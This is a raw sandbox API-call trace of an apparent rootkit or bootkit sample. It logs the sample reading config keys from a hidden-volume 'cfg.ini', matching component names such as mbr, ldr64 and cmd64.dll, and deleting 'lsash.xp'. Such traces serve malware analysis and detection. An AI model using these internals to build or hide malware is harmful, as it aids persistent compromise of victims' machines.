0xfffffa8003b863b0 [0125.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.925] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.925] IdePortDispatch () returned 0x103 [0125.925] KeWaitForMutexObject () returned 0x0 [0125.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.925] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.925] IdePortDispatch () returned 0x103 [0125.925] KeWaitForMutexObject () returned 0x0 [0125.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.925] KeLeaveCriticalRegion () [0125.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.926] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.926] KeEnterCriticalRegion () [0125.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.926] KeLeaveCriticalRegion () [0125.926] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.926] KeEnterCriticalRegion () [0125.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.926] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.926] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.926] KeLeaveCriticalRegion () [0125.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.926] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.926] KeEnterCriticalRegion () [0125.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.926] ExFreePoolWithTag (P=0xfffffa80036ffef0, Tag=0x0) [0125.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.926] KeLeaveCriticalRegion () [0125.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.926] ReleaseMutex (hMutex=0xf0) returned 1 [0125.926] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.926] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.926] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.926] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.926] KeEnterCriticalRegion () [0125.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.926] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.926] IdePortDispatch () returned 0x103 [0125.926] KeWaitForMutexObject () returned 0x0 [0125.927] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.927] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.927] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.927] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.927] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.927] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.927] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.927] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.927] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.927] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.927] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.927] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.927] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.927] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.927] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.927] KeLeaveCriticalRegion () [0125.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.927] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.927] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.927] KeEnterCriticalRegion () [0125.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.927] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.927] IdePortDispatch () returned 0x103 [0125.927] KeWaitForMutexObject () returned 0x0 [0125.927] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.927] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.927] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.927] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.927] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.927] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.927] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.927] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.927] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.927] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.927] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.928] KeLeaveCriticalRegion () [0125.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.928] ReleaseMutex (hMutex=0x100) returned 1 [0125.928] Sleep (dwMilliseconds=0x2bf20) [0125.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e42d430, dwHighDateTime=0x1d24fa4)) [0125.934] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.934] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.934] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.934] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.935] KeEnterCriticalRegion () [0125.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.935] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.935] IdePortDispatch () returned 0x103 [0125.935] KeWaitForMutexObject () returned 0x0 [0125.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.935] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.935] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.935] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.935] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.935] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036ffef0 [0125.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.935] KeLeaveCriticalRegion () [0125.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.935] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.935] KeEnterCriticalRegion () [0125.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.935] KeLeaveCriticalRegion () [0125.935] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.935] KeEnterCriticalRegion () [0125.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.935] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.935] IdePortDispatch () returned 0x103 [0125.935] KeWaitForMutexObject () returned 0x0 [0125.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.936] KeLeaveCriticalRegion () [0125.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.936] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.936] KeEnterCriticalRegion () [0125.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.936] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d23000 [0125.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.936] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.936] IdePortDispatch () returned 0x103 [0125.936] KeWaitForMutexObject () returned 0x0 [0125.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.936] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.936] IdePortDispatch () returned 0x103 [0125.936] KeWaitForMutexObject () returned 0x0 [0125.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.936] KeLeaveCriticalRegion () [0125.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.937] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.937] KeEnterCriticalRegion () [0125.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.937] KeLeaveCriticalRegion () [0125.937] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.937] KeEnterCriticalRegion () [0125.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.937] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.937] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.937] KeLeaveCriticalRegion () [0125.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.937] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.937] KeEnterCriticalRegion () [0125.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.937] ExFreePoolWithTag (P=0xfffffa80036ffef0, Tag=0x0) [0125.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.937] KeLeaveCriticalRegion () [0125.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.937] ReleaseMutex (hMutex=0xf0) returned 1 [0125.937] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.937] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.937] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.937] KeEnterCriticalRegion () [0125.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.938] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.938] IdePortDispatch () returned 0x103 [0125.938] KeWaitForMutexObject () returned 0x0 [0125.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.938] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.938] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.938] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.938] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.938] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039a92a0 [0125.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.938] KeLeaveCriticalRegion () [0125.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.938] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.938] KeEnterCriticalRegion () [0125.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.938] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.938] KeLeaveCriticalRegion () [0125.938] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.938] KeEnterCriticalRegion () [0125.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.938] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.938] IdePortDispatch () returned 0x103 [0125.938] KeWaitForMutexObject () returned 0x0 [0125.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.939] KeLeaveCriticalRegion () [0125.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.939] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.939] KeEnterCriticalRegion () [0125.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.939] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d24000 [0125.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.939] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.939] IdePortDispatch () returned 0x103 [0125.939] KeWaitForMutexObject () returned 0x0 [0125.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.939] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.939] IdePortDispatch () returned 0x103 [0125.939] KeWaitForMutexObject () returned 0x0 [0125.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.939] KeLeaveCriticalRegion () [0125.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.940] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.940] KeEnterCriticalRegion () [0125.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.940] KeLeaveCriticalRegion () [0125.940] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.940] KeEnterCriticalRegion () [0125.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.940] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.940] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.940] KeLeaveCriticalRegion () [0125.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.940] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.940] KeEnterCriticalRegion () [0125.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.940] ExFreePoolWithTag (P=0xfffffa80039a92a0, Tag=0x0) [0125.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.940] KeLeaveCriticalRegion () [0125.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.940] ReleaseMutex (hMutex=0xf0) returned 1 [0125.940] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.940] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.940] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.940] KeEnterCriticalRegion () [0125.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.940] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.940] IdePortDispatch () returned 0x103 [0125.940] KeWaitForMutexObject () returned 0x0 [0125.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.941] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.941] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 